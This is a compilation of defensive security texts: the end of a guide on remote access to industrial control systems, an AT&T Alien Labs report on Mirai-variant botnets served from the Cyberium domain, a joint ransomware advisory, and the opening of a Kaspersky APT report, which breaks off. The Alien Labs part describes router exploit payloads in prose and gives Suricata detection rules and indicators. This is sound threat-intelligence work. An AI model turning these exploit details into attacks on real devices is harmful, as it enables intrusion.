requirements for business operations. This section is designed to examine remote access solutions in industrial control systems environments and show how the lessons learned in ICT environments can apply here. Attention should also be applied to examine the differences between the environments and how they constrain the choices of security techniques available. ## Roles and Remote Access in Control System Architectures Because securing remote access is an integral part of any defense-in-depth strategy, the foundation of creating usable guidance as it pertains to control systems environments must include both users and the technology to be accessed remotely. To generalize control system architectures is difficult, and to develop a recommended practice for securing remote access that is applicable to all architectures is impossible. The uniqueness and diversity of both vendor and purpose-built systems create a landscape of diversity that simply cannot be addressed with a single solution. However, common elements, such as users, roles, existing technology, and architecture types, can be reviewed, and their attributes can be leveraged. It may help organizations to shape their remote access strategy by determining who requires access to certain resources as well as understanding attack vectors that can be created unintentionally. Understanding both users and roles can have a significant impact on how the remote access strategy evolves. In most control systems operations, the roles that would require remote access to control assets may include, but are not limited to: - System operators and engineers for local systems - System operators and engineers for remote systems - Vendors - System integrators - System support specialists and maintenance engineers - Field technicians - Business partners - Reporting or regulatory entities - Customers - Supply chain representatives - Managed service providers Developing a list that is complete for all systems in all sectors is not possible, and the list should be augmented as needed. The roles of the users that would require remote access to mission-critical operations can be extensive, and the assignment of specific access depending on those roles can be complicated at best. The assignment of remote access roles and credentials is expected to be embedded in the organizational cybersecurity policy supported by the remote access methodologies discussed in this paper. Here, some of the more common roles are reviewed in developing a control system remote access strategy. ## Conclusion The document provides a comprehensive overview of the importance of secure remote access in industrial control systems. It emphasizes the need for organizations to understand the unique challenges and risks associated with remote access and to implement robust security measures tailored to their specific environments. By following the guidance and best practices outlined, organizations can enhance their cybersecurity posture and protect critical infrastructure from potential threats.
# Malware Hosting Domain Cyberium Fanning Out Mirai Variants **AT&T Cybersecurity** **June 14, 2021 | Fernando Martinez** ## Executive Summary AT&T Alien Labs has observed the Mirai variant botnet, known as Moobot, scanning for known but uncommon vulnerabilities in Tenda routers, resulting in a considerable peak in our internal telemetry. The research associated with this peak resulted in the discovery of a malware hosting domain, providing several different Mirai variants, like Moobot and Satori. ### Key Points - AT&T Alien Labs identified a short but intense peak in scanning for Tenda routers, which had been uncommon in previous months. - The Cyberium malware hosting domain has been serving Mirai variants for several known, but different botnets over the past year. - Our research team has gathered intelligence from previous campaigns launched by this same attacker; though they made changes in their infrastructure and payloads, they have mostly recycled their tactics and techniques. ## Analysis During the end of March, AT&T Alien Labs observed a spike in exploitation attempts for Tenda Remote Code Execution (RCE) vulnerability CVE-2020-10987. This spike was observed throughout a significant number of clients, in the space of a few hours. This vulnerability is not commonly used by web scanners and was barely detected by our honeypots during the last six months, except for a minor peak in November. This exploit can be identified by the URL that is requested, which includes ‘setUsbUnload’ with the payload assigned to the vulnerable parameter ‘deviceName’. This payload contains the logic to change the execution path to a temporary location, wget a file from a malware hosting page, provide execution permissions, and execute it. Following this thread, a single actor was identified to be behind these scans in late March — at the time, the actor appeared to have no previous activity. The scan for Tenda vulnerable routers only lasted one day, but the scanning activity continued for several weeks, including the below vulnerabilities: - Port 80 and 8080: Axis SSI RCE. - Port 34567: DVR scanner attempting default credentials for Sofia main video application. - Port 37215: Huawei Home routers RCE Vulnerability (CVE-2017-17215). - Port 52869: Realtek SDK Miniigd UPnP SOAP Command Execution (CVE-2014-8361). Some of these exploit attempts were captured by honeypots. All of them appeared to be pulling their next iteration of the malware from the same malware hosting page: dns.cyberium[.]cc. When this domain was investigated, several campaigns were identified, going back at least one year to May 2020. Most of the attacks lasted for approximately a week while they hosted several Mirai variants, after which they left the subdomain unresolvable. However, this seems to be the behavior of the threat actor in between operations. The actors appear to come back to the same domain with a new subdomain for each new campaign. Activity in between campaigns goes quiet to increase the trust of the original domain. Keeping a long-running existing domain while issuing brand new one domain helps to divert attention to the new domain and thus distract from the original. The full list of subdomains/campaigns identified from this domain is: - Snoopy.cyberium[.]cc: Around May 2020 - U.cyberium[.]cc: Around May 2020 - Gcc.cyberium[.]cc: Around June 2020 - Park.cyberium[.]cc: Around July 2020 - Hoon.cyberium[.]cc: Around July 2020 - Hh.cyberium[.]cc: Around September 2020 - Wo.cyberium[.]cc: Around October 2020 - Y.cyberium[.]cc: Around October 2020 - W.cyberium[.]cc: Around November 2020 - Ns.cyberium[.]cc: Around November 2020 - Tmp.cyberium[.]cc: Around December 2020 - Ftp.cyberium[.]cc: Around March 2021 - Dns.cyberium[.]cc: Around April 2021 - Ddns.cyberium[.]cc: Around April 2021 We were able to identify other infrastructure that we assess with high confidence is controlled by the same actor and has been used as Moobot command and control in the past: - Park.allcheesedout[.]cc: around September 2020 - Ratatouille.allcheesedout[.]cc: around September 2020 - Watchdog.allcheesedout[.]cc: around September 2020 - Bot.bigbots[.]cc: around February 2021 - Cnc.bigbots[.]cc: around February 2021 - Cnc1.bigbots[.]cc: around February 2021 - Cnc.fewbots[.]cc: created and up since February 2021 - Bot.fewbots[.]cc: created and up since February 2021 - Cnc.hardbotz[.]cc: created and up since March 2021 - Projectaliennet[.]cc: created and up since March 2021 - Life.zerobytes[.]cc: created on May 2021 All of the domains use the same: - Registrar: Namecheap. - Top level domain: CC. - All of them served Mirai variants. The first request to these malware hosting pages was for a bash script, which aimed to download later stages of the malware. This script is very similar to downloaders previously seen for Mirai variants. The minor modifications appear to be on the downloading server, persistence methods (if any) and the filename, usually named after the vulnerable device vendor. During the time this domain was available and delivering malware, at least three different variants of Mirai were identified: Moobot, Satori/Fbot, and other samples unassociated with these botnets. One of the peculiarities of this domain was how it juggled between Mirai variants, even under the same filenames. The same URL could be hosting Satori one day and Moobot the week after. ### Moobot In October 2020, Lacework reported on a new Mirai variant called Moobot. This variant mainly chased exposed and vulnerable Dockers APIs to include them into their DDoS botnet. One of the main distinctions of this variant has been a hardcoded string “w5q6he3dbrsgmclkiu4to18npavj702f”, compared to the Mirai source code which used the string “abcdefghijklmnopqrstuvw012345678” as a seed to generate an alphanumeric string. This random string is used several times throughout the code, one of them to generate the process name to be used during execution. Many samples available at Cyberium contained the above-mentioned string and this domain was already being used to distribute this botnet when Lacework first reported on it. However, the number of samples Alien Labs has seen with that string has greatly increased in the last months, scattering from the original Moobot sample. This could potentially mean that last year's Moobots samples were used to create new branches of Mirai variants. Unlike some other Mirai variants, the samples obtained from Moobot were encrypted, attempting to evade string-based detection, static analysis of the exploits used, or after compromised activities. However, it did maintain other previously seen characteristics, like a hardcoded list of IP addresses to avoid, such as: private ranges, the department of Defense, IANA IPs, GE, HP and others. The malware writers appear to be very aware of who their potential victims are. For this reason, the malware will try to hide its process name by changing it using prctl. The covert process name is “/var/Sofia”, which is the name of a video application on the targeted devices. Right after hiding the process, this sample will print to screen the string “9xsspnvgc8aj5pi7m28p” which has been associated with different Mirai variants over time (Fbot and Gafgyt). However, it appears this is a passed down characteristic through variant versions, like previously seen with “w5q6he3dbrsgmclkiu4to18npavj702f”, but this time there aren’t any shared IOCs with previous attackers. After successful infection, the payload attempts to query the hardcoded C2 on port 12028 to get a list of C2. At the time of study, the Cyberium domain was down, and these communications couldn’t be analyzed. ### Satori/Fbot Early in March 2021, the same links previously mentioned for Moobot, for example dns.cyberium[.]cc/arm, were actually providing samples for Satori. The Satori botnet, also known as Fbot, is yet another Mirai variant based botnet. Unexpectedly, these samples were mingled with other UNIX botnets in the same malware hosting server. The similarities between Moobot and Satori samples are vast, since they both are coming from the same Mirai source code. These similarities include: - Downloading method - Vulnerability scannings and targets in IoT devices - The String 9xsspnvgc8aj5pi7m28p printed after execution - Process name to hide behind (/var/Sofia) (despite having seen other Satori samples hiding behind /bin/busybox) The most noteworthy differences observed were: - The string “w5q6he3dbrsgmclkiu4to18npavj702f” wasn’t present in the Satori samples. - The C2 domain for Satori where it notifies successful infection is bin.rippr[.]cc, which has been previously associated with other Satori campaigns. - In the first observed samples, the code wasn’t encrypted and many more strings could be read without any additional operations — unlike Moobot samples that were encoded to reduce the number of strings in plain text. ### Other Samples Additional samples were identified under the same domain, which on a first investigation appeared to be a mix between the already mentioned Moobot and Satori samples with a random combination of their characteristics. Most of them looked like Moobot samples without the encoding or Satori without the hardcoded domain. However, the samples are not associated with the current domain under study, probably because it is being left fallow. After pivoting on the scanning IP, delivering the downloaders scripts, it is currently providing the same script with an updated temporary domain, which is currently delivering additional Satori/Fbot samples packed with UPX. ## Recommended Actions 1. Keep all IoT devices updated, and specifically focus on addressing the mentioned devices or CVEs. 2. Monitor network traffic for known incoming exploits. 3. Monitor egress and ingress network traffic to the Cyberium or ripper domain. 4. Regularly perform process auditing and accounting looking for known malicious processes names that a botnet could be hiding under. ## Conclusion Alien Labs has identified the Cyberium malware hosting domain to be providing many different Mirai variants, like Moobot or Satori, during the last year. Actors have been jumping between subdomains to recycle their infrastructure as much as possible. At the time of publishing this blog (May 2021) some of the Cyberium subdomains were up, but they were not hosting any malware samples. They could be potentially awaiting new requests for C2 lists. Several questions remain unanswered. Why would the attackers deliver different Mirai variants with different C2s on the same campaign? And, are they trying to avoid anti-virus detection through diversification of variants? Or, are they trying to improve the botnet resiliency by diversifying C2? ## Detection Methods The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research. ### SURICATA IDS SIGNATURES ``` alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"AV EXPLOIT Tenda Router RCE (CVE-2020-10987)"; flow:to_server,established; content:"GET"; http_method; content:"/setUsbUnload/"; http_uri; content:"deviceName="; http_uri; pcre:"/^[^&]*(\x3B|%3B)/UR"; reference:cve,2020-10987; reference:url,blog.netlab.360.com/ttint-an-iot-rat-uses-two-0-days-to-spread/; classtype:attempted-admin; sid:4002263; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 34567 (msg:"AV TROJAN Moobot Botnet DVRIP Scan Inbound"; flow:established; content:"{ |22|EncryptType|22| :"; offset:20; depth:17; content:"DVRIP-Web"; distance:0; content:"UserName|22| : |22|admin|22| }|0A|"; distance:0; isdataat:!1,relative; threshold: type both, track by_src, seconds 300, count 3; reference:url,blog.netlab.360.com/the-botnet-cluster-on-185-244-25-0-24-en/; classtype:trojan-activity; sid:4001530; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 34567 (msg:"AV EXPLOIT Moobot Botnet exploiting InstallDesc DVRIP vulnerability (CVE-2017-16725)"; flow:established,to_server; content:"PK"; depth:24; content:"IntallDesc"; distance:0; within:40; fast_pattern; threshold: type both, track by_src, seconds 300, count 1; reference:cve,2017-16725; reference:url,blog.netlab.360.com/the-botnet-cluster-on-185-244-25-0-24-en/; classtype:trojan-activity; sid:4001531; rev:1;) alert tcp $HOME_NET any -> $EXTERNAL_NET 34567 (msg:"AV TROJAN Moobot Botnet Scanning DVRIP from infected system Outbound"; flow:established,to_server; content:"{ |22|EncryptType|22| :"; offset:20; depth:17; content:"DVRIP-Web"; distance:0; content:"UserName|22| : |22|admin|22| }|0A|"; distance:0; isdataat:!1,relative; threshold: type both, track by_src, seconds 300, count 3; reference:url,blog.netlab.360.com/the-botnet-cluster-on-185-244-25-0-24-en/; classtype:trojan-activity; sid:4001529; rev:1;) alert http $EXTERNAL_NET any -> $HOME_NET 37215 (msg:"AV EXPLOIT Huawei HG532 RCE Vulnerability (CVE-2017-17215)"; flow:established,to_server; content:"POST"; http_method; urilen:22; content:"/ctrlt/DeviceUpgrade_1"; nocase; http_uri; content:"upgrade"; http_client_body; nocase; content:"NewStatusURL"; http_client_body; distance:0; content:"NewDownloadURL"; http_client_body; distance:0; reference:cve,2017-17215; reference:url,research.checkpoint.com/good-zero-day-skiddie/; classtype:attempted-admin; sid:4000758; rev:1;) alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"AV EXPLOIT Axis SSI RCE"; flow:to_server,established; content:"/incl/image_test.shtml?"; http_uri; content:"camnbr="; http_uri; distance:0; reference:url,exploit-db.com/exploits/43984; classtype:attempted-admin; sid:4002573; rev:1;) ``` ## Associated Indicators (IOCs) The following technical indicators are associated with the reported intelligence. A list of indicators is also available in the OTX Pulse. Please note, the pulse may include other activities related but out of the scope of the report. | TYPE | INDICATOR | DESCRIPTION | |--------|---------------------------------------------|---------------------------------| | DOMAIN | cyberium[.]cc | Malicious domain | | MD5 | fbdc24f589e99088cec5fc77257c81f3 | Moobot sample | | MD5 | 78ecbd418cac0a1af9feb860fceae2f9 | Satori sample | | MD5 | 14c629f43d3e05615ea1b25d3e4aa1fa | Unassigned variant sample | | MD5 | 555821a5f67d064362e8ce9a48b95d56 | Fbot sample UPX packed | ## Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques: - TA0043: Reconnaissance - T1595: Active Scanning - TA0001: Initial Access - T1190: Exploit Public-Facing Application - TA0002: Execution - T1059: Command and Scripting Interpreter - T1053: Scheduled Task/Job - TA0003: Persistence - T1547: Boot or Logon Autostart Execution - TA0005: Defense Evasion - T1027: Obfuscated Files or Information - T1070: Indicator Removal on Host - TA0006: Credential Access - T1552: Unsecured Credentials **Tags:** alien labs, otx pulse, attacks, labs, exploits, mirai
# 2021 Trends Show Increased Globalized Threat of Ransomware ## SUMMARY In 2021, cybersecurity authorities in the United States, Australia, and the United Kingdom observed an increase in sophisticated, high-impact ransomware incidents against critical infrastructure organizations globally. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the National Security Agency (NSA) observed incidents involving ransomware against 14 of the 16 U.S. critical infrastructure sectors, including the Defense Industrial Base, Emergency Services, Food and Agriculture, Government Facilities, and Information Technology Sectors. The Australian Cyber Security Centre (ACSC) observed continued ransomware targeting of Australian critical infrastructure entities, including in the Healthcare and Medical, Financial Services and Markets, Higher Education and Research, and Energy Sectors. The United Kingdom’s National Cyber Security Centre (NCSC-UK) recognizes ransomware as the biggest cyber threat facing the United Kingdom. Education is one of the top UK sectors targeted by ransomware actors, but the NCSC-UK has also seen attacks targeting businesses, charities, the legal profession, and public services in the Local Government and Health Sectors. U.S. organizations: to report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or Australian organizations should report incidents to the [email protected]. Australian Signals Directorate’s (ASD’s) ACSC via cyber.gov.au or call 1300 292 371 (1300 CYBER 1). U.K. organizations should report a significant cyber security incident via ncsc.gov.uk/report-an-incident for urgent assistance, call 03000 200 973. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. Ransomware tactics and techniques continued to evolve in 2021, which demonstrates ransomware threat actors’ growing technological sophistication and an increased ransomware threat to organizations globally. This joint Cybersecurity Advisory—authored by cybersecurity authorities in the United States, Australia, and the United Kingdom—provides observed behaviors and trends as well as mitigation recommendations to help network defenders reduce their risk of compromise by ransomware. ## TECHNICAL DETAILS Cybersecurity authorities in the United States, Australia, and the United Kingdom observed the following behaviors and trends among cyber criminals in 2021: - Gaining access to networks via phishing, stolen Remote Desktop Protocols (RDP) credentials or brute force, and exploiting vulnerabilities. Phishing emails, RDP exploitation, and exploitation of software vulnerabilities remained the top three initial infection vectors for ransomware incidents in 2021. Once a ransomware threat actor has gained code execution on a device or network access, they can deploy ransomware. Note: these infection vectors likely remain popular because of the increased use of remote work and schooling starting in 2020 and continuing through 2021. This increase expanded the remote attack surface and left network defenders struggling to keep pace with routine software patching. - Using cybercriminal services-for-hire. The market for ransomware became increasingly “professional” in 2021, and the criminal business model of ransomware is now well established. In addition to their increased use of ransomware-as-a-service (RaaS), ransomware threat actors employed independent services to negotiate payments, assist victims with making payments, and arbitrate payment disputes between themselves and other cyber criminals. NCSC-UK observed that some ransomware threat actors offered their victims the services of a 24/7 help center to expedite ransom payment and restoration of encrypted systems or data. Note: cybersecurity authorities in the United States, Australia, and the United Kingdom assess that if the ransomware criminal business model continues to yield financial returns for ransomware actors, ransomware incidents will become more frequent. Every time a ransom is paid, it confirms the viability and financial attractiveness of the ransomware criminal business model. Additionally, cybersecurity authorities in the United States, Australia, and the United Kingdom note that the criminal business model often complicates attribution because there are complex networks of developers, affiliates, and freelancers; it is often difficult to identify conclusively the actors behind a ransomware incident. - Sharing victim information. Eurasian ransomware groups have shared victim information with each other, diversifying the threat to targeted organizations. For example, after announcing its shutdown, the BlackMatter ransomware group transferred its existing victims to infrastructure owned by another group, known as Lockbit 2.0. In October 2021, Conti ransomware actors began selling access to victims’ networks, enabling follow-on attacks by other cyber threat actors. - Shifting away from “big-game” hunting in the United States. - In the first half of 2021, cybersecurity authorities in the United States and Australia observed ransomware threat actors targeting “big game” organizations—i.e., perceived high-value organizations and/or those that provide critical services—in several high-profile incidents. These victims included Colonial Pipeline Company, JBS Foods, and Kaseya Limited. However, ransomware groups suffered disruptions from U.S. authorities in mid-2021. Subsequently, the FBI observed some ransomware threat actors redirecting ransomware efforts away from “big-game” and toward mid-sized victims to reduce scrutiny. - The ACSC observed ransomware continuing to target Australian organizations of all sizes, including critical services and “big game,” throughout 2021. - NCSC-UK observed targeting of UK organizations of all sizes throughout the year, with some “big game” victims. Overall victims included businesses, charities, the legal profession, and public services in the Education, Local Government, and Health Sectors. - Diversifying approaches to extorting money. After encrypting victim networks, ransomware threat actors increasingly used “triple extortion” by threatening to (1) publicly release stolen sensitive information, (2) disrupt the victim’s internet access, and/or (3) inform the victim’s partners, shareholders, or suppliers about the incident. The ACSC continued to observe “double extortion” incidents in which a threat actor uses a combination of encryption and data theft to pressure victims to pay ransom demands. Ransomware groups have increased their impact by: - Targeting the cloud. Ransomware developers targeted cloud infrastructures to exploit known vulnerabilities in cloud applications, virtual machine software, and virtual machine orchestration software. Ransomware threat actors also targeted cloud accounts, cloud application programming interfaces (APIs), and data backup and storage systems to deny access to cloud resources and encrypt data. In addition to exploiting weaknesses to gain direct access, threat actors sometimes reach cloud storage systems by compromising local (on-premises) devices and moving laterally to the cloud systems. Ransomware threat actors have also targeted cloud service providers to encrypt large amounts of customer data. - Targeting managed service providers. Ransomware threat actors have targeted managed service providers (MSPs). MSPs have widespread and trusted access into client organizations. By compromising an MSP, a ransomware threat actor could access multiple victims through one initial compromise. Cybersecurity authorities in the United States, Australia, and the United Kingdom assess there will be an increase in ransomware incidents where threat actors target MSPs to reach their clients. - Attacking industrial processes. Although most ransomware incidents against critical infrastructure affect business information and technology systems, the FBI observed that several ransomware groups have developed code designed to stop critical infrastructure or industrial processes. - Attacking the software supply chain. Globally, in 2021, ransomware threat actors targeted software supply chain entities to subsequently compromise and extort their customers. Targeting software supply chains allows ransomware threat actors to increase the scale of their attacks by accessing multiple victims through a single initial compromise. - Targeting organizations on holidays and weekends. The FBI and CISA observed cybercriminals conducting increasingly impactful attacks against U.S. entities on holidays and weekends throughout 2021. Ransomware threat actors may view holidays and weekends—when offices are normally closed—as attractive timeframes, as there are fewer network defenders and IT support personnel at victim organizations. For more information, see joint FBI-CISA Cybersecurity Advisory, Ransomware Awareness for Holidays and Weekends. ## MITIGATIONS Cybersecurity authorities in the United States, Australia, and the United Kingdom recommend network defenders apply the following mitigations to reduce the likelihood and impact of ransomware incidents: - Keep all operating systems and software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Regularly check for software updates and end of life (EOL) notifications, and prioritize patching known exploited vulnerabilities. In cloud environments, ensure that virtual machines, serverless applications, and third-party libraries are also patched regularly, as doing so is usually the customer’s responsibility. Automate software security scanning and testing when possible. Consider upgrading hardware and software, as necessary, to take advantage of vendor-provided virtualization and security capabilities. - If you use RDP or other potentially risky services, secure and monitor them closely. - Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. - Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). - Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary, and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. - Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. - Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy. - Open document readers in protected viewing modes to help prevent active content from running. - Implement a user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails. - Require MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. - Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords. Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access. Note: devices with local admin accounts should implement a password policy, possibly using a password management solution (e.g., Local Administrator Password Solution [LAPS]), that requires strong, unique passwords for each admin account. - If using Linux, use a Linux security module (such as SELinux, AppArmor, or SecComp) for defense in depth. The security modules may prevent the operating system from making arbitrary connections, which is an effective mitigation strategy against ransomware, as well as against remote code execution (RCE). - Protect cloud storage by backing up to multiple locations, requiring MFA for access, and encrypting data in the cloud. If using cloud-based key management for encryption, ensure that storage and key administration roles are separated. Malicious cyber actors use system and network discovery techniques for network and system visibility and mapping. To limit an adversary’s ability to learn an organization’s enterprise environment and to move laterally, take the following actions: - Segment networks. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Organizations with an international footprint should be aware that connectivity between their overseas arms can expand their threat surface; these organizations should implement network segmentation between international divisions where appropriate. For example, the ACSC has observed ransomware and data theft incidents in which Australian divisions of multinational companies were impacted by ransomware incidents affecting assets maintained and hosted by offshore divisions (outside their control). - Implement end-to-end encryption. Deploying mutual Transport Layer Security (mTLS) can prevent eavesdropping on communications, which, in turn, can prevent cyber threat actors from gaining insights needed to advance a ransomware attack. - Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a network-monitoring tool. To aid in detecting the ransomware, leverage a tool that logs and reports all network traffic, including lateral movement on a network. Endpoint detection and response tools are particularly useful for detecting lateral connections as they have insight into unusual network connections for each host. Artificial intelligence (AI)-enabled network intrusion detection systems (NIDS) are also able to detect and block many anomalous behaviors associated with early stages of ransomware deployment. - Document external remote connections. Organizations should document approved solutions for remote management and maintenance. If an unapproved solution is installed on a workstation, the organization should investigate it immediately. These solutions have legitimate purposes, so they will not be flagged by antivirus vendors. - Implement time-based access for privileged accounts. For example, the just-in-time access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the zero trust model) by setting network-wide policy to automatically disable admin accounts at the Active Directory level. As needed, individual users can submit requests through an automated process that enables access to a system for a set timeframe. In cloud environments, just-in-time elevation is also appropriate and may be implemented using per-session federated claims or privileged access management tools. - Enforce principle of least privilege through authorization policies. Minimize unnecessary privileges for identities. Consider privileges assigned to human identities as well as non-person (e.g., software) identities. In cloud environments, non-person identities (service accounts or roles) with excessive privileges are a key vector for lateral movement and data access. Account privileges should be clearly defined, narrowly scoped, and regularly audited against usage patterns. - Reduce credential exposure. Accounts and their credentials present on hosts can enable further compromise of a network. Enforcing credential protection—by restricting where accounts and credentials can be used and by using local device credential protection features—reduces opportunities for threat actors to collect credentials for lateral movement and privilege escalation. - Disable unneeded command-line utilities; constrain scripting activities and permissions, and monitor their usage. Privilege escalation and lateral movement often depend on software utilities that run from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. Organizations should also disable macros sent from external sources via Group Policy. - Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from an attack as well as protect against data losses. In cloud environments, consider leveraging native cloud service provider backup and restoration capabilities. To further secure cloud backups, consider separation of account roles to prevent an account that manages the backups from being used to deny or degrade the backups should the account become compromised. - Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Consider storing encryption keys outside the cloud. Cloud backups that are encrypted using a cloud key management service (KMS) could be affected should the cloud environment become compromised. - Collect telemetry from cloud environments. Ensure that telemetry from cloud environments—including network telemetry (e.g., virtual private cloud [VPC] flow logs), identity telemetry (e.g., account sign-on, token usage, federation configuration changes), and application telemetry (e.g., file downloads, cross-organization sharing)—is retained and visible to the security team. Note: critical infrastructure organizations with industrial control systems/operational technology networks should review joint CISA-FBI Cybersecurity Advisory DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks for more recommendations, including mitigations to reduce the risk of severe business or functional degradation should their entity fall victim to ransomware. ## RESPONDING TO RANSOMWARE ATTACKS If a ransomware incident occurs at your organization, cybersecurity authorities in the United States, Australia, and the United Kingdom recommend organizations: - Follow the Ransomware Response Checklist on p. 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. - Report incidents to respective cybersecurity authorities: - U.S. organizations should report incidents immediately to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service at a U.S. Secret Service Field Office. - Australian organizations should report incidents to the ASD’s ACSC via cyber.gov.au or call 1300 292 371 (1300 CYBER 1). - UK organizations should report incidents to NCSC-UK via report.ncsc.gov.uk and/or Action Fraud, the United Kingdom’s fraud and cyber reporting centre, via actionfraud.police.uk. - Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: cybersecurity authorities in the United States, Australia, and the United Kingdom strongly discourage paying a ransom to criminal actors. Criminal activity is motivated by financial gain, so paying a ransom may embolden adversaries to target additional organizations (or re-target the same organization) or encourage cyber criminals to engage in the distribution of ransomware. Paying the ransom also does not guarantee that a victim’s files will be recovered. Additionally, reducing the financial gain of ransomware threat actors will help disrupt the ransomware criminal business model. Additionally, NCSC-UK reminds UK organizations that paying criminals is not condoned by the UK Government. In instances where a ransom is paid, victim organizations often cease engagement with authorities, who then lose visibility of the payments made. While it continues to prove challenging, the NCSC-UK has supported UK Government efforts by identifying needed policy changes—including measures about the cyber insurance industry and ransom payments—that could reduce the threat of ransomware. ## RESOURCES - For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, U.S. whole-of-government webpage providing ransomware resources and alerts. - CISA’s Ransomware Readiness Assessment is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident. - CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. - The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. - The ACSC recommends organizations implement eight essential mitigation strategies from the ACSC’s Strategies to Mitigate Cyber Security Incidents as a cybersecurity baseline. These strategies, known as the “Essential Eight,” make it much harder for adversaries to compromise systems. - Refer to the ACSC’s practical guides on how to protect yourself against ransomware attacks and what to do if you are held to ransom at cyber.gov.au. - Refer to NCSC-UK’s guides on how to protect yourself against ransomware attacks and how to respond to and recover from them at ncsc.gov.uk/ransomware/home. ## REFERENCES 1. United States Federal Bureau of Investigation 2. United States Cybersecurity and Infrastructure Security Agency 3. United States National Security Agency 4. Australian Cyber Security Centre 5. United Kingdom National Cyber Security Centre ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, NSA, ACSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement or recommendation.
# APT Trends Report Q1 2019 By GReAT For just under two years, the Global Research and Analysis Team (GReAT) at Kaspersky Lab has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of. This is our latest installment, focusing on activities that we observed during Q1 2019. Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact ‘[email protected]’. ## The Most Remarkable Finding Targeting supply chains has proved very successful for attackers in recent years – ShadowPad, CCleaner, and ExPetr are good examples. In our threat predictions for 2019, we flagged this as a likely continuing attack vector; and we didn’t have to wait very long to see this prediction come true. In January, we discovered a sophisticated supply-chain attack involving the ASUS Live Update Utility, the mechanism used to deliver BIOS, UEFI, and software updates to ASUS laptops and desktops. The attackers behind “Operation ShadowHammer” added a backdoor to the utility and then distributed it to users through official channels. The goal of the attack was to target with precision an unknown pool of users, identified by their network adapter MAC addresses. The attackers were found to have hardcoded a list of MAC addresses into the Trojanized samples, representing the true targets of this massive operation. We were able to extract over 600 unique MAC addresses from more than 200 samples discovered in this attack, although it’s possible that other samples exist that target different MAC addresses. ## Russian-Speaking Activity Russian-speaking groups were not especially active during the first part of the year, with no noteworthy technical or operational changes. However, they continued their non-stop activity in terms of spreading, with a special interest in political activity. This was apparent in an attack focused on the Ukraine elections. The attack surfaced after we discovered a malicious Word document targeting a German political advisory organization. This organization, according to its website, “advises political decision-makers on international politics and foreign 